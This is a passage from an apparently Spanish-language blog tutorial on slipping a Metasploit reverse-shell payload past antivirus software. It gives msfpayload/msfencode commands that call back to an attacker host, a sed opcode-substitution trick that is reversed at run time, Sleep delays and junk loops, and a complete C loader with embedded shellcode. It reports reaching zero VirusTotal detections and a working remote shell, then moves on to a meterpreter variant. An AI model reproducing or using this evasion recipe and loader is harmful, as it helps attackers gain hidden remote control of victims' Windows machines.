"\xe1\x2c\x13\x27\xad\x30\xa2\xe4\xc5\x4d\x2f\x0b\x0a\xc4\x6b"
"\x2f\x8e\x8c\x28\x4e\x97\x68\x9e\x6f\xc7\xd5\x7f\xd5\x83\xf4"
"\x94\x60\xce\x90\x59\x40\xf1\x60\xf6\xd3\x82\x52\x59\x4f\x0d"
"\xdf\x12\x49\xca\x20\x09\x2d\x44\xdf\xb2\x4d\x4c\x24\xe6\x1d"
"\xe6\x8d\x87\xf6\xf6\x32\x52\x58\xa7\x9c\x0d\x18\x17\x5d\xfe"
"\xf0\x7d\x52\x21\xe0\x7d\xb8\x4a\x8a\x84\x2b\xb5\xe2\x86\x82"
"\x5d\xf0\x88\xd5\x26\x7d\x6e\xbf\x48\x2b\x38\x28\xf0\x76\xb2"
"\xc9\xfd\xad\xbe\xca\x76\x41\x3e\x84\x7e\x2c\x2c\x71\x8f\x7b"
"\x0e\xd4\x90\x56\x25\xd9\x04\x5c\xec\x8e\xb0\x5e\xc9\xf9\x1e"
"\xa1\x3c\x72\x96\x37\xff\xed\xd7\xd7\xff\xed\x81\xbd\xff\x85"
"\x75\xe5\x53\xb3\x79\x30\xc0\x68\xec\xba\xb1\xdd\xa7\xd2\x3f"
"\x3b\x8f\x7d\xbf\x6e\x11\x42\x16\x57\x97\xb2\x1c\xbb\x5b";
</code></pre><p>N&#243;tese que ahora no tememos Stage1 y Stage2, simplemente tenemos el c&#243;digo que debemos utilizar en nuestro programa C.</p><p>No voy a pegar el c&#243;digo del programa, porque es exactamente igual al c&#243;digo C anterior, solamente que reemplazamos la parte en la que definimos la shellcode y le ponemos el contenido que nos acaba de arrojar msfencode.</p><p>Para mi sorpresa, el resultado de VirusTotal volvi&#243; a ser 8/55, es decir, que el &#237;ncide de detecci&#243;n no cambi&#243; en nada. Lo cual, simplemente quiere decir que debemos seguir trabajando un poco m&#225;s.</p><p>(Tengamos en cuenta que ese archivo que acabamos de generar, yo lo llam&#233; "sample04.exe" y lo aclaro porque vamos a generar unos cuantos archivos m&#225;s, y quiero conservar el hilo del nombre que le pongo a cada ejecutable).</p><h2>Paso 4: Y&#233;ndonos a Dormir</h2><p>Nosotros no! El programa es el que se tiene que ir a dormir. &#191;Para qu&#233;? La verdad, es que no s&#233; bien de qu&#233; servir&#237;a que un programa espere una N cantidad de segundos antes de tomar cualquier acci&#243;n pero, parece que algunos antivirus le prestan "atenci&#243;n" a esto.</p><p>Para hacer que el programa espere 60 segundos antes de continuar ejecutando sus siguientes instrucciones, vamos a agregar la siguiente l&#237;nea de c&#243;digo:</p><pre><code>Sleep(60000);
</code></pre><p>La funci&#243;n "Sleep" est&#225; definida en la librer&#237;a "windows.h", asi que ahora estamos necesitando esa librer&#237;a, no la quiten!</p><p>El c&#243;digo del programa nos quedar&#237;a as&#237;:</p><pre><code>int main(int argc, char **argv)
{
    Sleep(60000);

    int (*f)();

    f = (int (*)())buf;

    (int)(*f)();
}
</code></pre><p>(Recuerden que arriba de este c&#243;digo tiene que estar la l&#237;nea que define la variable "buf" y le pone el contenido de nuestra shellcode, solo que ac&#225; no lo pego porque ser&#237;a extender el contenido del post de forma innecesaria).</p><p>Una vez hecho esto, y compilado el programa, que llam&#233; "sample05.exe", lo sub&#237; a VirusTotal. Pude ver que el &#237;ndice de detecci&#243;n baj&#243; a 5/55, es decir, que ya quitamos a otros tres de la lista!</p><p>Como esto lo hab&#237;a hecho, en mi caso, con el c&#243;digo shellcode sin codificar, luego compil&#233; un "sample06.exe" que conten&#237;a el shellcode codificado con msfencode+shikata_ga_nai, obteniendo un &#237;ndice de detecci&#243;n de 4/55. Vamos mejorando&#8230;</p><p>Pero, a&#250;n queda trabajo por hacer.</p><h2>Paso 5: On-The-Fly Mod</h2><p>Algo que se me ocurri&#243; para bajar un poco m&#225;s el &#237;ndice de detecci&#243;n (y seguramente no fui el primero en tener esta idea) es modificar el c&#243;digo shellcode durante la ejecuci&#243;n del programa. Esto lo hago porque, tal vez, alguno de los antivirus intenta interpretar los datos que est&#225;n almacenados en el programa, sin que est&#233; se est&#225; ejecutando. Es decir, si guardo la shellcode como me la dan msfpayload o msfencode, tal vez alcance con leer el contenido del archivo para ver que hay "algo raro".</p><p>Si bien es cierto que, justamente, la tarea de msfencode es la de "ofuscar" el c&#243;digo, para que no sea tan detectable, tal vez no venga mal agregar alguna que otra t&#233;cnica "quick-n-dirty" (r&#225;pida y sucia).</p><p>Para esto, lo que voy a hacer es pedirle a msfencode que evite la inclusi&#243;n de ciertos OpCodes particulares. Una vez hecho esto, voy a sustituir algunos OpCodes que s&#237; est&#225;n incluidos en la shellcode, por esos otros que s&#233; que no van a estar, y luego voy a revertir ese proceso en tiempo de ejecuci&#243;n.</p><p>Parece complicado, pero tal vez sea falencia del que explica la t&#233;cnica&#8230; :p</p><p>Vamos al c&#243;digo y despu&#233;s a re-explicarlo. Primero, generamos el payload y lo codificamos, indicando que queremos evidar los opcodes "\x15", "\x25", "\x35", y "x65".</p><pre><code>msfpayload windows/shell/reverse_tcp LHOST=192.168.1.41 LPORT=443 R | msfencode -e x86/shikata_ga_nai -b &#8216;\x15\x25\x35\x65&#8217; -c 13 -t c
</code></pre><p>(En este caso modifiqu&#233; el comando msfencode con el par&#225;metro "-c 13" para que la codificaci&#243;n se realice 13 veces en lugar de una)</p><p>El resultado obtenido lo podemos almacenar en un archivo o procesar directamente con una tuber&#237;a. Lo importante es realizar el reemplazo de caracteres con el comando "sed", como se va a mostrar a continuaci&#243;n.</p><pre><code>sed s/'10'/'15'/g | sed s/'20'/'25'/g | sed s/'30'/'35'/g | sed s/'60'/'65'/g
</code></pre><p>O sea, que se conectamos todos los comandos con tuber&#237;as, nos quedar&#237;an as&#237;:</p><pre><code>msfpayload windows/shell/reverse_tcp LHOST=192.168.1.41 LPORT=443 R | msfencode -e x86/shikata_ga_nai -b '\x15\x25\x35\x65' -c 13 -t c | sed s/'10'/'15'/g | sed s/'20'/'25'/g | sed s/'30'/'35'/g | sed s/'60'/'65'/g
</code></pre><p>La salida de ese archivo va a tener los reemplazos realizados de la siguiente manera:</p><pre><code>"\x10" -&gt; "\x15"

"\x20" -&gt; "\x25"

"\x30" -&gt; "\x35"

"\x60" -&gt; "\x65"
</code></pre><p>En resumidas cuentas&#8230; acabamos de romper la shellcode, porque esto, as&#237;, no funciona. Claro, modificamos OpCodes, intercambiandolos de una forma que no tiene mucha l&#243;gica. Pero ahora vamos a modificar tambi&#233;n nuestro c&#243;digo C, para que se encargue de volver el proceso atr&#225;s cada vez que sea ejecutado. Lo importante es que, ahora, donde definimos la variable "buf", pongamos el contenido del shellcode modificado. Y, el resto del c&#243;digo, va a quedar como sigue:</p><pre><code>int main(int argc, char **argv)
{
    Sleep(60000);

    int x;
    int len;

    len = sizeof(buf);

    for(x=0; x&lt;len; x++)
    {
        if (buf[x] == 0x15) { buf[x] = 0x10; }
        if (buf[x] == 0x25) { buf[x] = 0x20; }
        if (buf[x] == 0x35) { buf[x] = 0x30; }
        if (buf[x] == 0x65) { buf[x] = 0x60; }
    }

    int (*f)();

    f = (int (*)())buf;

    (int)(*f)();
}
</code></pre><p>Como podemos observar, se agregaron algunas l&#237;neas que lo que hacen es recorrer la variable "buf", donde se encuentra almacenado el shellcode, y realizar la inversa de las modificaciones que hab&#237;amos hecho antes. Por lo tanto, cuando el shellcode sea ejecutado, va a funcionar bien, porque va a estar igual que el original, producido por msfencode.</p><p>Voy a explicar brevemente el funcionamiento de cada l&#237;nea:</p><pre><code>len = sizeof(buf);
</code></pre><p>Hace que el contenido de la variable "len" sea la cantidad de valores hexadecimales almacenados en la variables "buf", o sea, la cantidad de OpCodes.</p><pre><code>for(x=0; x&lt;len; x++)&gt;)
</code></pre><p>Forma un bucle que cada vez que se ejecuta incrementa el valor de la variable "x" (que empieza valiendo cero). Este bucle termina cuando el valor de x deja de ser menor que el valor de la variable "len", es decir, cuando la cantidad de iteraciones ha igualado a la cantidad de opcodes que tenemos en nuestra shellcode.</p><pre><code>if (buf[x] == 0x15) { buf[x] = 0x10; }
if (buf[x] == 0x25) { buf[x] = 0x20; }
if (buf[x] == 0x35) { buf[x] = 0x30; }
if (buf[x] == 0x65) { buf[x] = 0x60; }
</code></pre><p>En cada una de las iteraciones del bucle, tomamos el valor de la variable "x" como referencia de un valor hexadecimal del shellcode (cuando x valga 0, tomamos el primer valor del shellcode, cuando "x" valga 5 tomamos el cuarto valor de la shellcode, y as&#237; hasta recorrer todos los valores).</p><p>Para cada iteraci&#243;n preguntamos si el valor del shellcode en el que nos encontramos concuerda con uno de los valores que hab&#237;amos reemplazado al generar el shellcode y modificarlo con el comando "sed". Si es as&#237;, lo reemplazamos por su valor original.</p><p>En resumen, el shellcode que se encuentra almacenado en el archivo no es v&#225;lido, pero se vuelve v&#225;lido cuando el programa se ejecuta.</p><p><strong>NOTA:</strong> Esta t&#233;cnica de ofuscaci&#243;n es casi demasiado simple para lo que estamos acostumbrados actualmente. No se intenta decir que sea algo novedoso ni nada por el estilo. Simplemente, es una t&#233;cnica m&#225;s que se agrega a todo lo que estamos haciendo para evitar la detecci&#243;n de los antivirus.</p><p>Despu&#233;s de hacer todo esto, y compilar el c&#243;digo, obteniendo el archivo "sample07.exe", pude ver que, en VirusTotal, el &#237;ndice de detecci&#243;n baj&#243; a 3/55&#8230; seguimos acerc&#225;ndonos.</p><h2>Paso 6: Agregando C&#243;digo Basura</h2><p>En la gran mayor&#237;a de los casos, el c&#243;digo basura (c&#243;digo que no hace nada realmente &#250;til) no sirve para nada. En nuestro caso, vamos a intentar de que nos sirva para algo.</p><p>Lo que vamos a hacer a continuaci&#243;n es agregar c&#243;digo basura a nuestro programa, para intentar confundir la detecci&#243;n antivirus.</p><p>Para esto, las l&#237;neas de c&#243;digo que voy a agregar son las siguientes:</p><pre><code>for(x=0; x&lt;5000000; x++)
{
    junk = rand() % 10;
    malloc(10 * sizeof(int));
}
</code></pre><p>Lo &#250;nico que hacen estas l&#237;neas es producir 5 millones de iteraciones y, en cada iteraci&#243;n, se ejecutan las l&#237;neas que vemos dentro del bucle. Verdaderamente, son dos l&#237;neas de c&#243;digo que elej&#237; casi al hazar, est&#225;n simplemente para que el programa "haga cosas".</p><p>Esas l&#237;neas, en mi caso, las coloqu&#233; en dos lugares del programa.</p><p>Ahora voy a terminar de copiar el programa completo, con el shellcode y absolutamente todas las l&#237;neas necesarias para que funcione:</p><pre><code>#include &lt;stdio.h&gt;
#include &lt;windows.h&gt;

unsigned char buf[] =
"\xb8\xd1\xc4\x52\xa7\xda\xc6\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
"\x99\x83\xc2\x04\x31\x42\x11\x03\x42\x11\xe2\x24\x1d\x92\x7e"
"\xb2\xba\xe7\x39\x2c\xfc\x5d\x94\x0e\x2b\xab\x59\x3d\x1a\x6d"
"\x8d\xc2\x9b\x75\xb2\x94\x0f\xce\xef\x92\xc6\xcb\xc0\x88\x05"
"\x5e\x42\xb4\x73\x34\xdd\x6b\xf6\x9f\x0c\x8d\x2f\x8c\x47\x22"
"\x11\xd3\x9e\x29\x33\x25\x73\xe7\x47\x56\x5d\x33\x2e\x37\x27"
"\x49\xa0\x44\x46\xa8\x94\x8e\x62\xf3\xfe\x63\xf4\x14\x33\x4b"
"\x04\x15\x39\xc3\xce\x03\xd0\x61\xa3\x13\x73\x24\x2a\x02\x8c"
"\xef\x11\x0f\x61\x68\xa5\x41\x4a\xa3\x3b\x26\xce\xd6\xb4\x6c"
"\x97\xc0\x3c\xa7\xad\x11\x71\xc4\x1e\x7e\xfb\xd8\x69\xc9\xec"
"\xaa\x1f\xe6\x1f\x98\xc1\x24\x5a\x7f\xba\x26\x1e\xbc\x45\x6b"
"\x38\x33\xb0\x40\x68\xe4\xbe\x7a\x4d\x1b\x3a\x37\xd7\x6d\xa2"
"\x0e\xae\x81\xcf\xa4\x37\x97\x14\x1d\xad\x4e\xb5\x50\xe7\x36"
"\x59\xe6\xc9\x36\x24\x00\x95\xa5\x57\x5c\xfb\xbe\xee\xad\x4b"
"\x89\x35\xbc\x67\x5a\x73\xb4\xac\xc2\x3e\x7e\x70\xac\x77\xce"
"\x84\x92\x13\x68\x70\xbd\xdd\xa1\x96\xa5\x32\x86\x32\xf7\x9b"
"\xc0\x1a\xe7\x26\x14\x46\x2c\x35\x9f\x1c\xcb\x6c\x97\x40\xb8"
"\xfa\x08\x81\x04\x70\x91\x23\xe4\xdb\xff\xc6\x75\x21\x4f\xbf"
"\x3c\x48\x86\x9f\xff\xd7\xaf\x07\xaf\x51\x5f\xce\xd6\xe5\xa0"
"\x5a\xd4\x35\x25\xd6\x48\x8d\xb8\x06\xee\x8e\xe9\xbc\x0d\x70"
"\x3b\xb9\x94\xd1\x7a\x7c\xfe\x26\x36\x83\x3b\xcc\xec\x73\x59"
"\x74\x58\x7e\x2b\x58\xfc\x5f\x2a\xae\x9e\x63\xe5\xfc\x17\x3e"
"\x12\xef\xe6\x98\xa5\x1d\xdf\xb4\xc7\x5a\xaa\xf3\xea\x49\x73"
"\x97\xa5\x1a\xb3\x84\x7f\x66\xce\x6e\xd0\xe7\x39\x24\x98\xbc"
"\x16\x99\x2e\xf2\x9b\xfd\x22\x6a\xd9\x1c\x74\x5d\xb8\xc0\x0c"
"\x9d\x31\x84\xc8\x2e\x56\x4d\x3b\xe0\x4d\x36\xbc\x93\xf2\xc4"
"\xc6\x9d\xad\xcb\xe0\xab\xb7\x37\x5e\x79\x9b\x92\xed\x58\xa4"
"\x41\x13\x36\xda\x0c\x6d\x4a\x1d\xf1\xdd\x8d\xbf\xe7\xde\x7f"
"\x6f\x97\xe3\xad\x57\x12\x21\x78\x74\x92\xdd\x2e\x61\x66\xec"
"\x3b\xaa\x86\x46\xcf\x0e\x86\x4f\x14\xb1\x3b\xa9\xdf\xa9\x3f"
"\xf5\xf5\xc5\x6f\xf4\x94\x08\xf4\xe5\xf8\x01\x24\xae\x44\x8c"
"\xd6\xcd\x2a\x96\x27\x24\x35\x24\x18\xcc\x1a\x7b\xb4\x2e\xb6"
"\xf9\xa6\x4d\xfa\x94\x2d\x0d\x93\x69\xf1\xda\x08\x3f\xfe\xc3"
"\xe0\x11\xba\xa0\x87\x17\x16\xd8\xf8\xaf\x50\x48\x9c\x84\x26"
"\xca\x94\x87\x33\x61\x52\x75\x54\xb2\x69\x3f\x00\x2c\x47\xcc"
"\xf5\xad\x5c\xbe\xb6\x50\xbe\x52\x90\xa5\x8d\x53\x3e\xd6\x7c"
"\xcc\x13\x44\x19\x07\xc4\x6b\x23\xc1\x1d\x45\xc1\x5e\x6b\xf1"
"\x48\xcc\x18\xee\x01\x78\xdb\x66\xde\x3b\xa8\x77\xc7\xc4\x35"
"\x04\x12\x87\x7a\x63\x69\xc6\xc1\x3a\xcc\xb4\x19\x8d\xcd\x1e"
"\xfd\xff\x68\x28\x7f\x77\xa0\xc6\x87\xa0\xc9\x22\xa7\x4a\x3f"
"\x2e\xa9\xf3\x7b\x4f\x76\x21\x4b\xa9\x03\x53\xa2\xef\xfe\xa8"
"\x79\x4a\x4d\x78\xd4\x72\x90\x09\x56\xab\xa0\xf4\x49\x39\xf1"
"\x2f\x29\xe1\xd1\x52\x93\xa8\x52";

int main(int argc, char **argv)
{
    Sleep(60000);

    int x;
    int len;
    int junk;

    len = sizeof(buf);

    for(x=0; x&lt;5000000; x++)
    {
        junk = rand() % 10;
        malloc(10 * sizeof(int));
    }

    for(x=0; x&lt;len; x++)
    {
    if (buf[x] == 0x15) { buf[x] = 0x10; }
    if (buf[x] == 0x25) { buf[x] = 0x20; }
    if (buf[x] == 0x35) { buf[x] = 0x30; }
    if (buf[x] == 0x65) { buf[x] = 0x60; }
    }

    int (*f)();

    f = (int (*)())buf;(int)(*f)();

    for(x=0; x&lt;5000000; x++)
    {
        junk = rand() % 10;
        malloc(10 * sizeof(int));
    }
}
</code></pre><p>Una vez compilado el programa, ya tenemos lo que yo llam&#233; "sample08.exe". Ahora, s&#243;lo queda subirlo a VirusTotal&#8230;</p><h2>Paso 7: El momento de la verdad (i)</h2><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!bHns!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffff36692-4186-4489-b107-da80e8990ee0_1366x768.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!bHns!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffff36692-4186-4489-b107-da80e8990ee0_1366x768.png 424w, https://substackcdn.com/image/fetch/$s_!bHns!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffff36692-4186-4489-b107-da80e8990ee0_1366x768.png 848w, https://substackcdn.com/image/fetch/$s_!bHns!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffff36692-4186-4489-b107-da80e8990ee0_1366x768.png 1272w, https://substackcdn.com/image/fetch/$s_!bHns!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffff36692-4186-4489-b107-da80e8990ee0_1366x768.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!bHns!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffff36692-4186-4489-b107-da80e8990ee0_1366x768.png" width="1366" height="768" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fff36692-4186-4489-b107-da80e8990ee0_1366x768.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:768,&quot;width&quot;:1366,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;av-bypass-sample08&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="av-bypass-sample08" title="av-bypass-sample08" srcset="https://substackcdn.com/image/fetch/$s_!bHns!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffff36692-4186-4489-b107-da80e8990ee0_1366x768.png 424w, https://substackcdn.com/image/fetch/$s_!bHns!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffff36692-4186-4489-b107-da80e8990ee0_1366x768.png 848w, https://substackcdn.com/image/fetch/$s_!bHns!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffff36692-4186-4489-b107-da80e8990ee0_1366x768.png 1272w, https://substackcdn.com/image/fetch/$s_!bHns!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffff36692-4186-4489-b107-da80e8990ee0_1366x768.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Excelente! Ninguno de los antivirus de VirusTotal detecta nuestro archivo como malicioso. Peeeeero&#8230; siempre tenemos que volver a probar que nuestro ejecutable funcione, sobre todo porque, de tanto tocar c&#243;digo, lo podemos romper. Hacemos la prueba con MSF y vemos lo siguiente:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!flbk!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb7e3c7-a141-46c8-9748-630aa57a5b13_1366x768.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!flbk!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb7e3c7-a141-46c8-9748-630aa57a5b13_1366x768.png 424w, https://substackcdn.com/image/fetch/$s_!flbk!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb7e3c7-a141-46c8-9748-630aa57a5b13_1366x768.png 848w, https://substackcdn.com/image/fetch/$s_!flbk!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb7e3c7-a141-46c8-9748-630aa57a5b13_1366x768.png 1272w, https://substackcdn.com/image/fetch/$s_!flbk!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb7e3c7-a141-46c8-9748-630aa57a5b13_1366x768.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!flbk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb7e3c7-a141-46c8-9748-630aa57a5b13_1366x768.png" width="1366" height="768" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/afb7e3c7-a141-46c8-9748-630aa57a5b13_1366x768.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:768,&quot;width&quot;:1366,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;av-bypass-sample08-msfconsole&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="av-bypass-sample08-msfconsole" title="av-bypass-sample08-msfconsole" srcset="https://substackcdn.com/image/fetch/$s_!flbk!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb7e3c7-a141-46c8-9748-630aa57a5b13_1366x768.png 424w, https://substackcdn.com/image/fetch/$s_!flbk!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb7e3c7-a141-46c8-9748-630aa57a5b13_1366x768.png 848w, https://substackcdn.com/image/fetch/$s_!flbk!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb7e3c7-a141-46c8-9748-630aa57a5b13_1366x768.png 1272w, https://substackcdn.com/image/fetch/$s_!flbk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb7e3c7-a141-46c8-9748-630aa57a5b13_1366x768.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>El archivo funciona (tenemos shell en el sistema remoto) y no es detectado en el sistema remoto! :)</p><h2>Paso 8: De CMD a Meterpreter</h2><p>Para ir un poco m&#225;s all&#225;, me interes&#243; la idea de cambiar el payload shell/reverse_tcp por el de meterpreter/reverse_tcp (porque meterpreter es mucho mas divertido que shell)</p><p>Asi que gener&#233; el payload con msfpayload (el cambio de cantidad de codificaciones de 13 a 3 fue para que terminara exitosamente el msfencode)</p><pre><code>msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.41 LPORT=443 R | msfencode -e x86/shikata_ga_nai -b '\x15\x25\x35\x65' -c 3 -t c | sed s/'10'/'15'/g | sed s/'20'/'25'/g | sed s/'30'/'35'/g | sed s/'60'/'65'/g
</code></pre><p><strong>NOTA:</strong> Dependiendo de varias cosas, las codificaciones pueden fallar, es por eso que modifiqu&#233; la cantidad de codificaciones de 13 a 3. Tambi&#233;n tienen mucho que ver los OpCodes que decidimos evitar porque, a veces, msfencode no encuentra forma de evitar varios OpCodes cuando los ponemos todos juntos, por eso es que tambi&#233;n se elijieron los OpCodes que se elijieron.</p><p>Una vez modificado el archivo, para terminar generando el ejecutable "sample09.exe", lo sub&#237; a VirusTotal y pude ver lo siguiente:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!KFTE!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb512bcd3-1b5d-4e87-89ac-70bd9ab7caad_1366x768.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!KFTE!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb512bcd3-1b5d-4e87-89ac-70bd9ab7caad_1366x768.png 424w, https://substackcdn.com/image/fetch/$s_!KFTE!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb512bcd3-1b5d-4e87-89ac-70bd9ab7caad_1366x768.png 848w, https://substackcdn.com/image/fetch/$s_!KFTE!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb512bcd3-1b5d-4e87-89ac-70bd9ab7caad_1366x768.png 1272w, https://substackcdn.com/image/fetch/$s_!KFTE!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb512bcd3-1b5d-4e87-89ac-70bd9ab7caad_1366x768.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!KFTE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb512bcd3-1b5d-4e87-89ac-70bd9ab7caad_1366x768.png" width="1366" height="768" 